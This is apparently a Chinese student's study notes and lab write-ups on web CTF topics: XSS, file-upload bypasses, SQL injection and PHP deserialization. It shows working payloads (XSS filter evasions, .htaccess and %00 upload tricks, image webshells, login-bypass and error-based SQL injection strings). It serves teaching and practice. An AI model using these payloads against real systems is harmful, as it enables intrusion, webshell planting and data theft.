技术内容 / 本科的一些学习笔记和wp / 从零开始的Web之路-漏洞篇
从零开始的Web之路-漏洞篇
写在前面
本篇中列出的几大漏洞即对应了平时web题的几大题型。当然,CTF题目的形式非常灵活,可以针对某一漏洞考察选手对漏洞知识的深入理解,可以两个或者多个漏洞综合考察,可以抓住一个非常细小且刁钻(CTF出题向来刁钻)的点来考察,甚至很多时候就给你一个仿真的页面,让你自己猜、自己找漏洞的点在哪里
这里也是搬来了自己学习的时候写的一些周报,大家可以借鉴学习,但是
写周报的时候一定不可以照搬内容往上抄,学长学姐自己走过的路,你们有没有亲自走一遍,我们都是看得出来的
##XSS漏洞##
大家可以通过学习XSS漏洞来接触前端三剑客(即HTML,JavaScript,CSS),加深自己对前端页面的认识和理解,同时方便弄清楚所谓前端与后端的区别,这里写XSS漏洞,实际更多是帮助大家扩充一些前端知识
0×01 原理
XSS是web安全中最为常见的漏洞,XSS攻击通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本,从而控制用户浏览的一种攻击。
这里的跨站访问,可以是从正常的网站跨到黑客的服务器,也可以是黑客的服务器跨到正常的网站。
XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页。
0×02 编程语言知识
众所周知HTML,CSS和JavaScript三剑客是web开发者必学的三种语言,这三种语言之间存在密切关系
1. JavaScript
<script> 标签
在 HTML 中,JavaScript 代码必须位于 <script> 与 </script> 标签之间。
<script>
document.getElementById("demo").innerHTML = "我的第一段 JavaScript";
</script>
上述代码个人理解与hello world有类似的意义
2. HTML/CSS
HTML <a> 标签
详细内容见使用手册https://www.w3school.com.cn/tags/tag_acronym.asp
这里用到了HTML <a> 标签的 href 属性
<a> 标签的 href 属性用于指定超链接目标的 URL。
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。
如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。
3. 前端
HTML DOM 事件
详细内容见使用手册https://www.w3school.com.cn/jsref/dom_obj_event.asp
这里用到了focus,即onfocus事件
onfocus 事件在元素获得焦点时发生,最常与 <input>、<select> 和 <a> 一起使用。
4. PHP
String 函数
详细内容见使用手册https://www.w3school.com.cn/php/php_ref_string.asp
htmlspecialchars()函数
其作用是把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,使其失去代码效力成为普通字符
预定义的字符还包括& (和号) " (双引号) ' (单引号)
与之对应的函数是htmlspecialchars_decode()
strtolower()函数
了解即可,还有个strtoupper(),一个变小写一个变大写
strpos() 函数
strpos(string,find,start) 其中start参数可不填
其作用是查找字符串在另一字符串中第一次出现的位置。
需要注意的是,strpos() 函数对大小写敏感。
相关函数:
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
0×03 xss-labs-master靶场练习
level 1
从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间
那么就很明显,这一关主要就是考察反射型xss
看一下源码
发现是get传参,name参数的值赋值给str变量,箭头二又将str变量直接插入到标签之间,没有过滤
那么就给他随便赋个值即可
成功
level 2
容易看出是一个GET传参
尝试赋值直接绕过<script>alert(123)</script>
回显
说明<script>并未被服务器成功识别,查看源码发现如下函数
提交的值被htmlspecialchars()函数给编码注释掉了
继续往下看
可以看到插入到value参数值中的数据并没有被编码
于是构造 "><script>alert('xss')</script>//
思路是加双引号(除>外的字符),并用>将双引号闭合,最后用//将>注释掉
妥了
level 3
搜索框贴心地给出了历史下拉栏,那就先<script>alert(123)</script>试一下,显然不行
看源码发现两处均使用了htmlspecialchars()函数
于是构造 'onfocus=javascript
(123) > //由于输入的数据会被url编码,所以直接在地址栏keyword=和&submit=搜索 之间输入构造的代码
利用onfocus事件进行代码执行,由于onfocus的性质并不会直接弹框,而是需要“使元素获得焦点”
通俗来说,即点击搜索框使其被选中并且可以输入内容
DOM的其他函数也有类似作用
level 4
先看源码
是熟悉而亲切的str_replace函数,同时没忘记加上htmlspecialchars()
接着利用onfocus构造 " onfocus="alert(123)"
level 5
<script>alert(123)</script>不行,看代码
这次的手段是在script插入下划线变成scr_ipt破坏语义,把on也用_破坏掉了
不能用<script>标签,DOM事件里的所有函数也直接全部退役,于是尝试其他标签
这里用到<a herf=来构造 "><a href=javascript
(123)> search</a> //将搜索内容定向到名为search的链接(链接名输入什么都可以),点击链接即可触发js代码
鼠标移动到链接上,可以看到左下角的提示
level 6
一看源码,好家伙,防的挺全
相对于php,JavaScript对于大小写是非常敏感的,当声明变量时,test和Test会被视为两个不同的变量
然而值得注意的是,函数和事件并不会因此受到影响,依然可以发挥其原本的作用
于是尝试大小写绕过,构造 " oNfocus="javascript
(123)"对源码内容的一些解释
~熟悉html的人都会知道在<img>标签中引用图片会用到一个属性就是src。 正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法 访问到时就可以触发一个onerror事件来执行js代码。
~用字符data进行匹配的,同上面一样该字符在之前的演示中也没有出现过。现在一般有点XSS意识的管理员都懂得过滤javascript与script等关键字。但是对于data的认识却并不多,也就很少有对它进行过滤的。
data就是对字符进行编码的一种设定,比如如果在实际情况中javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试 data
/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=这条语句和javascript
(123) 或者 <script>alert(123)</script> 的作用是一样的。level 7
照例先试试
牛批,给爷在搜索框里整活偷走script是吧,上源码
看到strtolower()函数,先手防了一波大写,后面的组合拳更是一个没落下
那就套娃构造一个双写绕过 "><scrscriptipt>alert(123)</scrscriptipt>
level 8
这一关开始来了点不一样的了
看看源码,发现了一些新东西
提交的参数值一个会插入到标签的value属性值中,一个会插入到下方标签的href属性值中
附赠一个herf,但是好像路都被堵死了,还多了一条限制,把"也给屏蔽掉了
于是考虑一条新的思路,即编码绕过
经测试,html编码能成功绕过,hex没有成功
javascript:alert('')
上述html编码解码得到javascript
(''),html不能对数字进行编码,我就索性赋了一个空值编码转换网址https://tool.oschina.net/encode
level 9
看源码,发现在原来的基础上又新加了一个strpos()函数
这实际上要求了提交的参数里必须包含http://
于是将语句进行html编码后加上http:// 绕过检查
最终构造的语句原句为 javascript
(123)//http://有个小小的骚操作,就是只对javascript中的ri两个字符进行编码,同样能绕过此题的过滤
level 10
又出了不少新花样,看源码
本题隐藏了分别名为link,history,sort的输入框
尝试同时对三个输入框提交参数使type变成text(文本)
?keyword=well done!&t_link=" type="text&t_history=" type="text&t_sort=" type="text
我的本地环境有点问题,导致无需判断可以直接看出只有sort输入框的属性能够被改变
后面就很简单了,构造 ?keyword=well done!&t_sort=" onfocus="alert(123)" type="text
level 11
这题要开始抓包了,明天再说
##文件上传漏洞##
0×01 学习笔记
本周学习文件上传漏洞
要求能够找到文件上传点并能够绕过各种过滤将文件上传并执行
文件过滤过程的实现体现黑名单和白名单两个基本策略,一般来说白名单相对更为安全,而黑名单更具有针对性,在实际安防情境中按实际情况进行选择
文件上传可以使用图形化界面,也可以在开发者工具里使用hackbar发送包含文件的请求
过滤类型与破解方法如下
1.应对前端的检查代码
直接在开发者工具里将函数覆盖(控制台)或将对应网页代码删除,也可以bp发包改包
2.MIME类型(multipurpose Internet mail extensions多用途互联网邮件扩展类型)
| MIME | 描述 |
|---|---|
| text/html | HTML格式 |
| application/json | JSON数据格式 |
| multipart/form-data | 文件上传(二进制数据) |
| image/jpeg | jpg图片格式 |
这个数据是浏览器自动打包生成的,属于后端交互的内容。通过MIME服务端可以得知客户端上传的数据类型和请求的数据类型,并能够将对数据类型的响应结果返回到客户端,通过burpsuite抓包后将content-type修改后发包即可
3.等价扩展名
| 语言 | 等价扩展名 |
|---|---|
| asp | asa,cer,cdx |
| aspx | ashx,asmx,ascx |
| php | php2、php3、php4、php5、phps,pht,phtml |
| jsp | jspx,jspf |
phtml文件
在嵌入了php脚本的html中,使用 phtml作为后缀名,web服务器会用php解释器进行解析
.phtml是PHP 2程序的标准文件扩展名。 .php3接管了PHP 3.当PHP 4出来时,他们切换到直接.php。
较旧的文件扩展名有时仍被使用,但并不常见。
4.绕过后缀名检测的三种基本方式
从pass 3,4的代码中我们可以了解到针对windows的绕过后缀名检测的三种基本方式
1.在文件名后面加 “.”或空格(windos在保存文件的时候会自动将点“.”和空格去掉)
2.将文件的后缀名大小写混杂
3.文件后缀名后加::$DATA(windos会把::$DATA后的内容当成文件流处理且保留其前面的后缀名)
5.htaccess后缀名的利用(伪静态)
htaccess(hypertest access超文本入口),是一个php的动态网站
以吾爱破解官网为例,正常域名为https://52pojie.cn/thread.php?id=134974&page=1
而动态网站的红字部分为thread-134974-1-1.html,以便搜索引擎的收录
通过.htaccess文件,可以帮我们实现用户重定向、自定义错误页面、更改扩展名、以及使用其他文件作为index文件等,如果一个web应用允许上传.htaccess文件,那就意味着,攻击者可以利用这个漏洞进行更改Apache的配置
利用.htaccess文件可以指定文件以什么类型访问,简单来说就是可以让jpg以php的方式运行,这样就可以达到绕过的目的。
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
简单应用
<FilesMatch "oasis">
SetHandler application/x-httpd-php//将后面的文件全部解析成php执行
</FilesMatch>
上传完之后,再回上传主页面,再上传一个没有后缀并且文件名为oasis的文件,注意:上传的文件名取决于你上传的htaccess内写的内容。 若htaccess后缀被过滤,可以尝试上传后在burp里再改一下
6.双写绕过
通过将::$DATA改写为::$::$DATADATA来绕过对::$DATA的过滤(我这边会提示上传出错,不知道是我本地环境的问题还是方法本身不可行)
或通过将.php改写为.pphphp来绕过str_irepalce函数的过滤
7.%00截断
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断(作用相当于结束符,会在截断处停止读取后面的内容),0x表示16进制,URL中%00解码成16进制就是0x00。 而 php读取的方式是从后往前读取,遇到0x00时停止 ,故
%00截断分为get提交和post提交两类,区别在于对于%00的处理上有所不同,使用POST传地址,post不会像get对%00进行自动解码,需要手动完成。
8.文件头尾总结
JPEG (jpg), 文件头:FFD8FF 文件尾:FF D9
PNG (png), 文件头:89504E47 (‰PNG)文件尾:AE 42 60 82
GIF (gif), 文件头:47494638 (GIF89a)文件尾:00 3B
完整版总结见如下CSDN博客
https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
9.图片马制作
用window下的cmd制作:
copy meinv.png /b + muma.php /a muma.png
其中/b代表二进制文件binary,放在图片后面,/a代表文字文件ascii
也可以用010editor直接将一句话马写在文件尾的后面
9.文件包含漏洞和简析
其原理是服务器解析执行php文件时能够通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,也就意味着木马程序会在服务器上加载执行。 只要将一些重复使用的函数写到单个文件中,需要使用某个函数时就可以直接调用此文件,而无需再次编写,其中文件调用的过程一般被称为文件包含。 php的四种包含函数如下
| equire() | 只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本 |
|---|---|
| include() | 执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行 |
| include_once() | 若文件中代码已被包含则不会再次包含 |
| require_once() | 若文件中代码已被包含则不会再次包含 |
常见的利用公用文件(如header.php,common.php,footer.php等)触发文件包含漏洞
0×02 靶场题目wp
pass 1
题目提示在客户端,也就是前端使用js检查后缀
F12打开工具,火狐里没有禁用js快捷键,于是找到上传图片对应的代码行,直接把checkfile删除即可
pass 2
题目提示检查MIME类型
显然是利用burpsuite进行抓包改包
将content-Type的值改为image/jpeg后发包即可
pass 3
这题设置了一个黑名单,采取截取文件名后缀的方式进行判断
于是考虑到利用等价扩展名来绕过过滤,选择使用不在黑名单内的扩展名即可
pass 4
这次的黑名单相对pass 3更加全面了
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
这里有一个无厘头且无赖的操作就是反向思考,将shell的php后缀改为jpg后上传,成功
本着不能无脑碰运气的原则,从网上找到另一条思路
抓包后,将图中filename的值改为111.htaccess,发包即可
pass 5
观察源码,可以发现此题在pass 4的基础上禁用了htaccess,但是没有大小写转换的限制
那就非常简单了
pass 6
pass 4的简单变体,此题中少了去空格的限制,那么思路显而易见
使用burp抓包后在文件后缀名后面加一个空格(加俩也行),发包
pass 7
同样是pass 4的简单变体,少了一条去除文件名后点的限制,不堪一击
pass 8
这回少了去除::$DATA,还是不堪一击
pass 9
这一关属实是给我略微打开了一下思路
可以看到源码似乎是无懈可击的,然而CSDN上的答案让我感到豁然开朗
说它硬凑吧,这题答案还挺巧妙
pass 10
这里出现了一个函数str_ireplace,题中作用是将非法后缀替换为空格
那么只许对后缀进行简单的组合包装即可,如111.pphphp
上传成功,检查upload文件夹发现111.php,说明成功
pass 11
此题采用白名单,读代码可知其最终存储路径是拼接而成,亦即上传路径可控。
要求路径名满足temp_file和img_path拼接起来的形式,考虑通过%00截断
burp抓包,修改以下内容
在upload/后面加上上传的文件名111.php%00,并将filename的后缀改为png,发包即可
蚁剑连接时,要将111.php后面的内容去掉
pass 12
此题与pass 11的区别在于post提交方式,需要用hex手动解码
在upload路径下加上111.php%00,并手动对%00进行解码如图所示,然后修改filename后缀为png并 发包
网上学来的:在upload后面加上文件名和加号111.php+
加号的hex码是2b,便于修改时定位,找到2b改成00即可
pass 13
此题的过滤方式不是限制后缀,而是读取并校验文件前两个字节来判断文件类型
要求上传图片马,先用010把一句话马写进图片,制作一个图片马并上传
复制图片链接拿到蚁剑里连接一下,这时我们的图片马已经被重命名了
可以看到题目附赠了一个文件包含漏洞代码,名字叫include.php,在页面上使用该文件访问上传的图片马
这样就拿到index目录了
pass 14
##SQL注入##
0×00关于靶场搭建
1.php版本问题
PHP版本不兼容的缘故,可以通过把PHP版本换到5.x版本解决,经过尝试最优选择应该是5.4.45版本
因为PHP5.x版本时,php连接Mysql数据库会使用mysql_connect()连接,PHP7.x版本连接数据库会使用mysqli_connect()连接,而GitHub上的源码最近更新已经是五年前了,所以对PHP高版本会出现不兼容的情况。
关于将magic_quotes_gpc改为off(开启magic_quotes_gpc=on之后,相当于使用addslshes()这个函数,会在单引号前加反斜线注释)以避免单引号被自动加反斜线(/)注释掉的问题,也可以通过换php版本来解决
2.mysql版本问题
经测试低版本在查表时会出错,故直接使用最新版本即8.0.12版本即可
3.关于配置文件的问题
下面这篇博客里收录一些常见问题,里面的坑全都踩过一遍
https://blog.csdn.net/qq_43968080/article/details/103613087
4.80端口被占用问题
这个问题可能属于个别现象,但是困扰我很久,于是在此也记录下来
第一类:被system占用,参考https://www.cnblogs.com/selier/p/9514426.html
https://blog.csdn.net/weixin_44248000/article/details/103432778
第二类:被httpd.exe占用,参考https://blog.csdn.net/speedwaycl/article/details/49023223
一个未经尝试的解决办法https://www.cnblogs.com/starksoft/p/9131665.html
0×01原理及基本思路
1.原理
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句;当用户使用sql查询语句时没有遵循代码与数据分离,输入的数据就会被被当作代码执行
2.思路
第一步 判断是否存在sql注入漏洞
判断方法:
1.id后加单引号,根据错误提示获取信息(字符型注入)
原理是单引号成功被数据库解析,而无论字符型还是整型都会因为单引号个数不匹配而报错(无报错并不代表不存在sql注入漏洞,因为页面可能对单引号作了过滤,这时可以考虑使用判断语句进行注入)
例如访问id=1' order by 1%23 ,页面回显的sql语句是SELECT * FROM users WHERE id='1' order by 1#'LIMIT0,1,由于**#**后面的语句都会被注释掉,所以真正执行的语句是SELECT * FROM users WHERE id='1' order by 1
此处%23即为url编码中的#,在mysql中#的作用是注释符(--+;-- ;#;均为注释符号)
2.1=1、1=2测试法,流程如下(数字型注入)
① url?id=1② url?id=1 ;and 1=1③ url?id=1 ;and 1=2
存在注入漏洞的表现: (原理 是 判断原网址是否对输入信息有过滤)
① 正常显示;② 正常显示,内容基本与①相同;③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不存在的表现:
①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
数值型注入常用总结
and1=2--+
'and1=2--+
"and1=2--+
)and1=2--+
')and1=2--+
")and1=2--+
"))and1=2--+
第二步 利用union联合搜索或其他语句来获取想要得到的信息
ORDER BY语句的简单应用
ORDER BY 语句用于根据指定的列对结果集进行排序。
在1'判断的例子中,order by 语句用于猜解字段数和列数,若不存在则会回显出错
1' order by n--+ ,n为指定列
ORDER BY 语句默认按照升序对记录进行排序,如果希望按照降序对记录进行排序,可以使用 DESC 关键字,例如
以字母顺序显示公司名称(Company)
SELECT Company, OrderNumber FROM Orders ORDER BY Company
以逆字母顺序显示公司名称
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC
一些常用的联合查询语句
1' union select database(),user()#
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
1' union select version(),@@version_compile_os#
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统
1' union select table_name,table_schema from information_schema.tables where table_schema= '[ ]'#
通过此语句可以查询到指定库内的所有表和表名,最后的方框中填入想要查询的数据库名即可
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
-1' union select 1,2,(concat_ws(char(),user(),version(),database()))%23
能够获取当前数据库的库名,版本和连接用户,其中concat_ws()函数的作用是从数据库里取n个字段组合到一起并用符号分割显示,char()能够将十进制ASCII码转换为字符,%23为url编码中的#
group_concat()与concat_ws()的区别是前者将列组合显示,后者将行组合显示
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name
column_name
group_concat()
验证绕过相关语句
1.利用 Sql 漏洞绕过登录验证
一般情况下弱类型密码是很难手动爆破的,例如123
但是若存在sql漏洞,在用户名中输入 123' or 1=1 #, 密码输入 123' or 1=1 #(也可空白),则可以验证成功
实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,# 后面的内容会被忽略,所以实际执行的语句如下
select * from users where username='123' or 1=1
利用注释符#和1=1的恒成立来绕过登陆验证
在用户名中输入 123' or '1'='1, 密码输入 123' or '1'='1(不加单引号会造成语法错误),实际执行语句如下
select * from users where username='123' or '1'='1' and password='123' or '1'='1
or条件使and两端验证结果均成立,从而绕过验证,无需使用注释符
其他实用语句
1.INSERT INTO语句,用于向表中插入新的行或列
INSERT INTO 表名称 VALUES (值1, 值2,....
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
2.SQL UPDATE 语句,用于修改表中数据
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
3.DELETE 语句,用于删除表中的行
DELETE FROM 表名称 WHERE 列名称 = 值
可以在不删除表的情况下删除所有的行,同时保持表的结构、属性和索引完整
DELETE FROM table_name或DELETE * FROM table_name
星号(*)是选取所有列的快捷方式。
SQL 通配符
在搜索数据库中的数据时,SQL 通配符可以替代一个或多个字符。
在 SQL 中,可使用以下通配符:
| 通配符 | 描述 |
|---|---|
| % | 代表零个或多个字符 |
| _ | 仅替代一个字符 |
| [charlist] | 字符列中的任何单一字符 |
| [^charlist] | |
| 或者 | |
| [!charlist] | 不在字符列中的任何单一字符 |
SELECT * FROM 表名 WHERE 列名 LIKE '[ ]'
在[ ]中,可利用通配符查找与指定值(例如123)相关的数据
123%以123开头的数据;%123%包含123的数据;_123第一个字符后是123的数据,同理1_2_3
常见注入方法
布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程一般为
(1)求当前数据库长度→(2)求当前数据库表的ASCII→(3)求当前数据库中表的个数→
(4)求当前数据库中其中一个表名的长度→(5)求当前数据库中其中一个表名的ASCII→(6)求列名的数量→
(7)求列名的长度→(8)求列名的ASCII→(9)求字段的数量→(10)求字段内容的长度→
(11)求字段内容对应的ASCII
步骤非常繁琐
相关sql语句见https://www.yuque.com/docs/share/2f8d137b-aa20-4110-aeac-9016a8c80438?#
时间盲注
时间盲注又称延迟注入,是一种盲注的手法, 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如
,错误的话会导致执行时间很短。SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,或利用脚本程序跑出结果。时间盲注主要用到sleep()函数
时间盲注比布尔盲注难度稍高 ,关键在于不论你怎么输入就是不报错
时间盲注的sql语句很好理解,如
id= 1’ or sleep(3) %23
如果这个时候直接服务器过了三秒才反应,那么就存在时间注入
也可以添加if语句,控制if第一个参数
id= 1’ or if(1,sleep(3),0) %23
如果某一个条件正确就延迟三秒,如果错误就返回0 (也就是if第一个参数为1)
具体的注入语句示例如下
id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
后面的盲注过程与布尔盲注类似
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理:mysql_multi_query() 支持多条sql语句同时执行,语句间以分号(;)分隔
在 ; 结束一个sql语句后继续构造下一条语句,两条语句会一起执行,这就是堆叠注入。
但在实际场景中为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以堆叠注入的使用条件十分有限
其与联合注入的相同点在于是将两条语句合并在一起,而区别是union 或者union all执行的语句类型是有限的,常见的是用来执行查询语句,而堆叠注入可以执行的是任意的语句。在字符长度限制范围内,堆叠注入可以执行多条语句
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
alert
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )
用法:
添加一个列
alter table " table_name" add " column_name" type;
删除一个列
alter table " table_name" drop " column_name" type;
改变列的数据类型
alter table " table_name" alter column " column_name" type;
改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
无列名注入
https://blog.csdn.net/weixin_46330722/article/details/109605941
异或注入
mysql里异或运算符为^ 或者 xor
两者的区别在于 ^运算符会做位异或运算 如1^2=3 1^2=3 ,而 xor会做逻辑运算 1 xor 0 会输出1
其他情况输出其他所有数据
作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用
于是payload可以写成
库名:账号:a'^extractvalue(1,concat('~',(select(database()))))#,密码123 成功爆破出来库名geek
表名:a'^extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#密码123
列名:a'^extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#密码123
a'^extractvalue(1,concat('~',(select(group_concat(password))from(geek.H4rDsq1))))#密码123
只有一部分,看起来是对返回长度做了过滤,需要再从右边读取一遍
a'^extractvalue(1,concat('~',(select(right(password,30))from(geek.H4rDsq1))))#密码123
这里注意获取到的flag是不完全的。这可能是因为后台用到了substr函数截取掉了一部分的flag信息。所以这里可以用left和right函数分别获取左右部分的flag
获取左边:?username=1'or(updatexml("~",concat("~",(select(group_concat(left(password,25)))from(H4rDsq1))),"~"))#&password=123
获取右边:?username=1'or(updatexml("~",concat("~",(select(group_concat(right(password,25)))from(H4rDsq1))),"~"))#&password=123
拼接得到flag{1c8746f8-4c2c-4945-ac95-0a39d9656b36}
本周学习php反序列化漏洞
##反序列化漏洞##
0×01 概述
反序列化漏洞可以认为是面向对象语言的一种特有漏洞,常见于Java,php,python 中
php反序列化漏洞又称php对象注入漏洞
反序列化漏洞基于序列化和反序列化的操作,在反序列化时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过构造参数来执行敏感操作,让反序列化产生非预期的对象
0×02原理
1.序列化与反序列化
序列化是指把对象转换为字节序列的过程,在序列化期间,对象将其当前状态写入到临时或持久性存储区,从而实现跨平台通讯和持久化存储;反序列化则指把字节序列恢复为对象的过程
最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
例如淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。
在php中
● serialize()将一个对象转换成一个字符串
● unserialize()将字符串还原为一个对象
在java中
序列化用到了ObjectOutputStream类中的writeObject()
反序列化用到了ObjectInputStream类中的readObject()
java暂时仅作了解,本周主要学习php反序列化漏洞
2.魔术方法
PHP把所有以__(两个下划线)开头的类方法当成魔术方法
(所以在定义自己的类方法时,不要以 __为前缀)
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__destruct() 当删除一个对象或对象操作终止的时候(对象被销毁前,即从内存中清除前)触发
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
其预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务
__toString() 当一个类被当成字符串使用(当打印一个对象时)时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() _call( $method, $arg_array ) 当调用一个未定义的方法时调用此方法
这里的未定义的方法包括没有权限访问的方法;如果方法不存在就去父类中找这个方法;
如果父类中也不存在就去调用本类的__call()方法,如果本类中不存在__call()方法就去找父类中的__call()方法
__callStatic() 类似于 __call() 魔术方法,当处理静态方法调用
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__get、__set两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property ) 当调用一个未定义的属性时,此方法会被触发,传递的参数是被访问的属性名
__set( $property, $value ) 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值
这里的没有声明包括当使用对象调用时,访问控制为proteced,private的属性(即没有权限访问的属性)
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法
与__get方法和__set方法相同,这里的没有声明包括当使用对象调用时,
访问控制为proteced,private的属性(即没有权限访问的属性)
以上只举了部分常见例子
3.漏洞原理分析
造成漏洞主要有两个问题:应用代码问题、底层PHP漏洞。
(一)应用代码反序列化漏洞产生条件
1. 反序列化函数,传入参数可控
2. __destruct()方法可利用,如利用__destruct()方法中的show_source(),从而暴露源码;
3. 以上两点没有对传参进行过滤,否则无法构成目的Payload。
(二)底层PHP漏洞
简单来说,如果对象属性检查异常。那么Purrase_nested_data()将会返回0,且不调用WAKEUP()方法,但是在这之前对象和它的属性已经被创建,紧接着对象将被破坏,从而执行DESTRUCT()函数,于是导致了漏洞。
(这句话是复制来的,我不理解,也没找到一个合适的阐述来解释什么叫对象属性检查异常)
4.漏洞挖掘
反序列化漏洞的发现一般需审计源码,寻找可利用的pop链
直接在魔术方法中就有可以利用的漏洞在而实际中并不现实,更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
构造POP CHAIN(POP链)
通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即
用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作
5.实例解析
一些好像能看懂一点的实例
白泽sec安全团队https://my.oschina.net/bylibrary/blog/4969895
CTF题https://www.freebuf.com/news/172507.html
来自安全客的一篇比较全面的讲解https://www.anquanke.com/post/id/86452
0×03 漏洞复现练习
demo
我们先将i am emotional damaged序列化并直接输出
得到如下序列化的字符串
O代表结构类型为:类,5表示类名($oasis)长度,接着是类名、属性(成员)个数
